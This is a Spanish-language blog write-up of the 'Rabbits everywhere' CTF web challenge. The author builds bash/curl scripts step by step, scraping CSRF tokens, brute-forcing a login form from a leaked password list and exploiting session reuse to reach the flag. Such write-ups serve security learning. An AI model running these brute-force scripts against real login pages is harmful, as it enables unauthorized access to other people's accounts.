Follow the white rabbit CTF – Rabbits everywhere

Hoy os traigo un pequeño writteup sobre una prueba que @belane del equipo Follow The White Rabbit abrió ya fuera del CTF pero que estuvo interesante.

Para empezar nos dirigimos a la url: http://challenge.followthewhiterabbit.es:1234/

Y nos encontramos con esto:

Con este source:

Por ahora no nos dice mucho, investigando un poco nos encontramos con un robots.txt:

Interesante, un archivo llamado passwordlist.lst, nos lo descargamos y vemos que contiene 149 passwords, parece que @belane nos lo ha querido poner fácil.

Como se puede ver también tenemos una cookie de sesión así que tendremos que recordar utilizarla en nuestros scripts.

Vamos a comenzar a la vieja usanza con un poco de fuerza bruta:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        cat buff
done

Lo primero que haremos será hacer una llamada inicial que de la cual extraeremos los tokens necesarios para nuestra siguiente llamada y también generaremos un archivo de cookies para mantener la sesión comentada anteriormente.

Una vez ejecutamos ese script las respuestas del servidor irán desfilando por nuestra pantalla, en un punto en concreto me encuentro con que dicho contenido cambia al siguiente:

<h1>Rabbits everywhere</h1></br>
<a href="second.php?action=55e7f1b3e6a0bab1e26eecba960623b3">Next Challenge</a>

Vale, parece que al encontrar la password correspondiente obtenemos un link a la segunda parte, modifiquemos nuestro script para que nos devuelva el contenido del mismo:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
cat buff

Nuevamente lo ejecutamos y vemos que ahora nos aparece un nuevo link:

<h1>Rabbits everywhere</h1></br>
<a href="third.php?action=f8e849377cc41214d7b5341d218ac840">Go for It!</a></br>

Añadimos el siguiente link:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
cat buff

Y otro link más, pero parece que ya estamos terminando:

<h1>Rabbits everywhere</h1></br>
<a href="final.php?action=7b880e59f9e43fe4b6f479540e4025df">Start final Challenge</a></br>

Veamos que tiene la última prueba añadiendo este último link a nuestro script:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
final=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
cat buff

Parece que volvemos a tener un formulario parecido al primero:

<h1>Rabbits everywhere</h1></br>
<a href="final.php?action=7b880e59f9e43fe4b6f479540e4025df">Start final Challenge</a></br>
kalrong@byakko:~/conejos-ctf$ nano finde.sh
kalrong@byakko:~/conejos-ctf$ nano finde.sh
kalrong@byakko:~/conejos-ctf$ ./finde.sh
Found:princesa
<h1>Rabbits everywhere</h1></br>
<form action=final.php method=post>
<input name=token_session type=hidden value=15fa4a7f80ca63b2369a842afd5282ad8c50f87fe64779813b14e077ebbde645>
<input name=token_action type=hidden value=73de0142f5d6879447fd7dbb01f598b7>
<input name=pass_try type=text size=20 placeholder=" last password "> <input type="submit" value="Go !!">
</form>

Vamos a probar con una sola password y ver que nos dice:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
final=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=test" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff
cat buff


Y vemos lo siguiente:

<h1>Rabbits everywhere</h1></br>
Your try: <b>test</b></br>
</br><a href="index.php">Start over</a></br>


Parece que @belane no ha sido tan bueno después de todo. En cuanto fallamos la password en la última parte automáticamente nos manda empezar de nuevo, eso duele.

Curiosamente la sesión de PHP no cambia, vamos a cruzar los dedos y ver si la password que encontramos en el primer formulario se asocia a dicha sesión y podemos reutilizarla:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
final=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=test" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$found" > buff
cat buff



Por suerte vemos que efectivamente nos devuelve otra vez el link a la segunda web de la prueba, vamos a aprovecharnos de esto y lanzar otra fuerza bruta viendo que nos devuelve la página en cada caso:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
 done
 echo "Found:$found"
 second=$(cat buff | grep href | cut -f2 -d'"')
 curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
 third=$(cat buff | grep href | cut -f2 -d'"')
 curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
 final=$(cat buff | grep href | cut -f2 -d'"')
 curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
 for i in $(cat passwordlist.lst)
 do
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
         token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
         session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
         curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$found" > buff
         second=$(cat buff | grep href | cut -f2 -d'"')
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
         third=$(cat buff | grep href | cut -f2 -d'"')
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
         final=$(cat buff | grep href | cut -f2 -d'"')
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final> buff
         token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
         session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
         curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=$i" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff
         cat buff
done




Poco a poco veremos las respuestas del servidor, siempre la misma… ¿habéis visto eso?

<h1>Rabbits everywhere</h1></br>
You Win! - your flag is <b>fwhibbit{rabbit-6nw89BVJuOGNs6TdxfNHUM7rrA+eLg+l6ToSrgTDwkIG}</b> </br><h1>Rabbits everywhere</h1></br>
Your try: <b>987654321</b></br>
</br><a href="index.php">Start over</a></br>

¡Bien! Hemos conseguido nuestra flag utilizando únicamente comandos relativamente básicos de bash. Como veréis no he utilizado ningún regex, se me dan fatal, y me fío más de mi viejo amigo cut.

Como apunte final quiero que os deis cuenta de que este script se ha ido desarrollando a lo largo de la prueba, se puede optimizar muchísimo y podríamos hacer que solamente nos devuelva la flag, lo he dejado así para que podáis ver como funciona paso a paso y como fue el desarrollo que tuve que hacer durante la prueba.

Espero os haya gustado y cualquier duda no dudéis en dejarme un comentario.

Saludos, y como siempre, gracias por vuestra visita!

PD: Para que no se diga de mi, versión en  una sola linea del script:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff; token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">"); session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">"); for i in $(cat passwordlist.lst); do         curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff;         token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">");         if [[ $(grep -c "second.php" buff) -eq 1 ]];                 then found=$i;                 break;         fi;  done;  echo "Found:$found";  second=$(cat buff | grep href | cut -f2 -d'"');  curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff;  third=$(cat buff | grep href | cut -f2 -d'"');  curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff;  final=$(cat buff | grep href | cut -f2 -d'"');  curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff;  for i in $(cat passwordlist.lst);  do          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff;          token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">");          session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">");          curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$found" > buff;          second=$(cat buff | grep href | cut -f2 -d'"');          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff;          third=$(cat buff | grep href | cut -f2 -d'"');          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff;          final=$(cat buff | grep href | cut -f2 -d'"');          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final> buff;          token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">");          session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">");          curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=$i" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff;          cat buff; done
Esta entrada fue publicada en ctf, fwhibbit-ctf, web, writeups. Guarda el enlace permanente.

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.